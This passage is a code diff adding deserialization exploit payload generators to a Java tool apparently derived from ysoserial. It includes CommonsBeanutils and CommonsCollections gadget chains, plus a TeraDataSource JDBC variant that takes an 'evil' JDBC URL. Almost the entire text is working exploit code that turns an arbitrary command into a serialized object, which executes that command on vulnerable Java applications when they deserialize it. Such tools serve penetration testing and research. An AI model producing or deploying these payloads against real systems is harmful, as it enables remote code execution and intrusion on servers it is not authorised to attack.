||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.teradata.jdbc.TeraDataSource;
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||||
|
@Authors({Authors.QI4L})
|
||||||
|
public class CommonsBeanutilsJDBC implements ObjectPayload<Object> {
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
if (!command.toLowerCase().startsWith("jdbc:")) {
|
||||||
|
throw new Exception("Command format is: eviljdbcurl");
|
||||||
|
}
|
||||||
|
|
||||||
|
TeraDataSource dataSource = new TeraDataSource();
|
||||||
|
dataSource.setBROWSER(command);
|
||||||
|
dataSource.setLOGMECH("BROWSER");
|
||||||
|
dataSource.setDSName("127.0.0.1");
|
||||||
|
dataSource.setDbsPort("10250");
|
||||||
|
|
||||||
|
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
||||||
|
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||||
|
queue.add("1");
|
||||||
|
queue.add("1");
|
||||||
|
|
||||||
|
Reflections.setFieldValue(comparator, "property", "connection");
|
||||||
|
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||||
|
queueArray[0] = dataSource;
|
||||||
|
queueArray[1] = dataSource;
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
import org.apache.commons.lang3.compare.ObjectToStringComparator;
|
||||||
|
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"})
|
||||||
|
@Authors({"水滴"})
|
||||||
|
public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object template;
|
||||||
|
template = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
|
||||||
|
|
||||||
|
BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
|
||||||
|
|
||||||
|
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
|
||||||
|
|
||||||
|
queue.add(stringComparator);
|
||||||
|
queue.add(stringComparator);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||||
|
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import javassist.CtField;
|
||||||
|
import org.apache.commons.lang3.compare.ObjectToStringComparator;
|
||||||
|
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10"})
|
||||||
|
@Authors({"SummerSec"})
|
||||||
|
public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object template;
|
||||||
|
template = Gadgets.createTemplatesImpl(command);
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||||
|
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||||
|
try {
|
||||||
|
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
|
||||||
|
ctBeanComparator.removeField(ctSUID);
|
||||||
|
} catch (javassist.NotFoundException e) {
|
||||||
|
}
|
||||||
|
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
|
||||||
|
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||||
|
ctBeanComparator.defrost();
|
||||||
|
Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator());
|
||||||
|
|
||||||
|
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
|
||||||
|
|
||||||
|
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
|
||||||
|
|
||||||
|
queue.add(stringComparator);
|
||||||
|
queue.add(stringComparator);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||||
|
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
import org.apache.logging.log4j.util.PropertySource;
|
||||||
|
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
|
||||||
|
@Authors({"SummerSec"})
|
||||||
|
public class CommonsBeanutilsPropertySource implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object template;
|
||||||
|
template = Gadgets.createTemplatesImpl(command);
|
||||||
|
PropertySource propertySource1 = new PropertySource() {
|
||||||
|
@Override
|
||||||
|
public int getPriority() {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator());
|
||||||
|
|
||||||
|
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
|
||||||
|
|
||||||
|
queue.add(propertySource1);
|
||||||
|
queue.add(propertySource1);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||||
|
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import javassist.CtField;
|
||||||
|
import org.apache.logging.log4j.util.PropertySource;
|
||||||
|
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
|
||||||
|
@Authors({"SummerSec"})
|
||||||
|
public class CommonsBeanutilsPropertySource183 implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object template;
|
||||||
|
template = Gadgets.createTemplatesImpl(command);
|
||||||
|
PropertySource propertySource1 = new PropertySource() {
|
||||||
|
@Override
|
||||||
|
public int getPriority() {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||||
|
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||||
|
try {
|
||||||
|
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
|
||||||
|
ctBeanComparator.removeField(ctSUID);
|
||||||
|
} catch (javassist.NotFoundException e) {
|
||||||
|
}
|
||||||
|
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
|
||||||
|
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||||
|
ctBeanComparator.defrost();
|
||||||
|
Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator());
|
||||||
|
|
||||||
|
|
||||||
|
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
|
||||||
|
|
||||||
|
queue.add(propertySource1);
|
||||||
|
queue.add(propertySource1);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||||
|
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gadget chain:
|
||||||
|
* ObjectInputStream.readObject()
|
||||||
|
* AnnotationInvocationHandler.readObject()
|
||||||
|
* Map(Proxy).entrySet()
|
||||||
|
* AnnotationInvocationHandler.invoke()
|
||||||
|
* LazyMap.get()
|
||||||
|
* ChainedTransformer.transform()
|
||||||
|
* ConstantTransformer.transform()
|
||||||
|
* InvokerTransformer.transform()
|
||||||
|
* Method.invoke()
|
||||||
|
* Class.getMethod()
|
||||||
|
* InvokerTransformer.transform()
|
||||||
|
* Method.invoke()
|
||||||
|
* Runtime.getRuntime()
|
||||||
|
* InvokerTransformer.transform()
|
||||||
|
* Method.invoke()
|
||||||
|
* Runtime.exec()
|
||||||
|
* <p>
|
||||||
|
* Requires:
|
||||||
|
* commons-collections
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
|
@Authors({Authors.FROHOFF})
|
||||||
|
public class CommonsCollections1 implements ObjectPayload<InvocationHandler> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InvocationHandler getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
|
new Transformer[]{new ConstantTransformer(1)});
|
||||||
|
// real chain for after setup
|
||||||
|
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||||
|
|
||||||
|
final Map innerMap = new HashMap();
|
||||||
|
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||||
|
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
|
||||||
|
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化
|
||||||
|
|
||||||
|
return handler;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||||
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections.functors.FactoryTransformer;
|
||||||
|
import org.apache.commons.collections.functors.InstantiateFactory;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import javax.xml.transform.Templates;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||||
|
|
||||||
|
public class CommonsCollections10 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object templates;
|
||||||
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
// 使用 InstantiateFactory 代替 InstantiateTransformer
|
||||||
|
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
|
||||||
|
|
||||||
|
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
|
||||||
|
|
||||||
|
// 先放一个无关键要的 Transformer
|
||||||
|
ConstantTransformer constantTransformer = new ConstantTransformer(1);
|
||||||
|
Map innerMap = new HashMap();
|
||||||
|
LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer);
|
||||||
|
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
|
||||||
|
Map expMap = new HashMap();
|
||||||
|
expMap.put(tme, "QI5L");
|
||||||
|
|
||||||
|
Reflections.setFieldValue(outerMap, "factory", factoryTransformer);
|
||||||
|
|
||||||
|
outerMap.remove("QI4L");
|
||||||
|
|
||||||
|
return expMap;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* RMIConnector 二次反序列化
|
||||||
|
* 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer
|
||||||
|
* 直接传入 Base64 编码的序列化数据即可
|
||||||
|
*/
|
||||||
|
public class CommonsCollections11 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object templates;
|
||||||
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
|
||||||
|
HashMap<Object, Object> map = new HashMap<>();
|
||||||
|
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
|
||||||
|
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
|
||||||
|
HashMap<Object, Object> expMap = new HashMap<>();
|
||||||
|
expMap.put(tiedMapEntry, "QI4L");
|
||||||
|
lazyMap.remove(templates);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
|
||||||
|
|
||||||
|
return expMap;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.map.DefaultedMap;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||||
|
public class CommonsCollections12 implements ObjectPayload<Hashtable> {
|
||||||
|
@Override
|
||||||
|
public Hashtable getObject(String command) throws Exception {
|
||||||
|
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||||
|
Map hashMap1 = new HashMap();
|
||||||
|
Map hashMap2 = new HashMap();
|
||||||
|
DefaultedMap defaultedMap1 = (DefaultedMap) DefaultedMap.decorate(hashMap1, transformers);
|
||||||
|
DefaultedMap defaultedMap2 = (DefaultedMap) DefaultedMap.decorate(hashMap2, transformers);
|
||||||
|
|
||||||
|
defaultedMap1.put("yy", 1);
|
||||||
|
defaultedMap2.put("zZ", 1);
|
||||||
|
Hashtable hashtable = new Hashtable();
|
||||||
|
hashtable.put(defaultedMap1, 1);
|
||||||
|
hashtable.put(defaultedMap2, 1);
|
||||||
|
defaultedMap2.remove("yy");
|
||||||
|
|
||||||
|
return hashtable;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||||
|
|
||||||
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.DefaultedMap;
|
||||||
|
|
||||||
|
import javax.management.BadAttributeValueExpException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||||
|
@Authors({Authors.Jayl1n})
|
||||||
|
public class CommonsCollections13 implements ObjectPayload<Object>{
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
|
new Transformer[]{ new ConstantTransformer(1) });
|
||||||
|
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||||
|
final Map innerMap = new HashMap();
|
||||||
|
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
|
||||||
|
|
||||||
|
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
|
||||||
|
|
||||||
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
|
Field valfield = val.getClass().getDeclaredField("val");
|
||||||
|
valfield.setAccessible(true);
|
||||||
|
valfield.set(val, entry);
|
||||||
|
|
||||||
|
// arm with actual transformer chain
|
||||||
|
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||||
|
|
||||||
|
return val;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantFactory;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
|
@Authors({Authors.Unam4})
|
||||||
|
public class CommonsCollections14 implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||||
|
|
||||||
|
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||||
|
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||||
|
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
|
||||||
|
HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry);
|
||||||
|
Reflections.setFieldValue(decorate, "factory",transformerChain );
|
||||||
|
Reflections.setFieldValue(tiedMapEntry, "key",233);
|
||||||
|
|
||||||
|
return hashMap;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantFactory;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
|
@Authors({Authors.Unam4})
|
||||||
|
public class CommonsCollections15 implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||||
|
|
||||||
|
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||||
|
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||||
|
|
||||||
|
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
|
||||||
|
Hashtable hashtable = Gadgets.makeTableTstring(tiedMapEntry);
|
||||||
|
Reflections.setFieldValue(decorate, "factory",transformerChain );
|
||||||
|
Reflections.setFieldValue(tiedMapEntry, "key",233);
|
||||||
|
return hashtable;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantFactory;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import java.lang.annotation.Target;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.1","jdk:jdk<=8u70"})
|
||||||
|
@Authors({Authors.Unam4})
|
||||||
|
public class CommonsCollections16 implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||||
|
|
||||||
|
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||||
|
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||||
|
|
||||||
|
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
|
||||||
|
HashMap<Object, Object> map1 = new HashMap<>();
|
||||||
|
map1.put("value",tiedMapEntry);
|
||||||
|
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||||
|
Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
|
||||||
|
Anotationdeclared.setAccessible(true);
|
||||||
|
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1);
|
||||||
|
Reflections.setFieldValue(decorate, "factory",transformerChain );
|
||||||
|
Reflections.setFieldValue(tiedMapEntry, "key",233);
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||||
|
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||||
|
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
import java.util.Queue;
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||||
|
@Authors({Authors.FROHOFF})
|
||||||
|
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
|
||||||
|
|
||||||
|
public Queue<Object> getObject(String command) throws Exception {
|
||||||
|
final Object templates;
|
||||||
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
|
||||||
|
queue.add(1);
|
||||||
|
queue.add(1);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections.functors.InstantiateTransformer;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import javax.xml.transform.Templates;
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
